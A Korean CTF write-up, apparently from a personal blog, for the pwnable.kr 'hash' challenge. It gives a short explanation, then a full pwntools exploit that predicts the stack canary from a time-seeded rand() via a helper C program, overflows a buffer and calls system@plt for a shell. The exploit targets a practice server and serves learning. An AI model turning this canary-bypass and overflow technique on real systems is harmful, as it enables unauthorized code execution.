bof 되길래 canary leak을 어디서 하지 보니까,
print 되는 값을 보니 canary도 더해진다. 그리고 srand 함수는 현재 시각을 seed로 받아서 우리가 알아낼 수 있다.
Exploit Code
from pwn import *
q=process('./system')
canary = int(q.recvline()[:-1], 16)
#p=process('./hash')
p=remote('pwnable.kr', 9002)
bss = 0x804b3b2
system_plt = 0x8048880
p.recvuntil(': ')
captcha = int(p.recvline()[:-1])
canary = captcha - canary
if canary < 0:
canary = canary & 0xffffffff
p.success('canary : '+hex(canary))
p.sendline(str(captcha))
data = 'B'*0x200+p32(canary)+'A'*0xc
data += p32(system_plt)+'AAAA'+p32(bss)+'\xb2\xcb!'
data = data.encode('base64').replace('\n', '')
p.sendlineafter('!\n', data)
p.interactive()
//gcc -o system system.c
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
int v[10];
int main(void){
int a = time(0);
srand(a);
int total = 0;
for(int i=0;i<=7;++i){
v[2+i]=rand();
//printf("%x\n", v[2+i]);
}
total = v[6]-v[8]+v[9]+v[4]-v[5]+v[3]+v[7];
printf("%x\n", total);
}
Capture the Flag
'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글
simple login (0) | 2020.03.07 |
---|---|
rsa calculator (0) | 2020.03.07 |
fsb (0) | 2020.03.07 |
echo2 (0) | 2020.03.07 |
echo1 (0) | 2020.03.07 |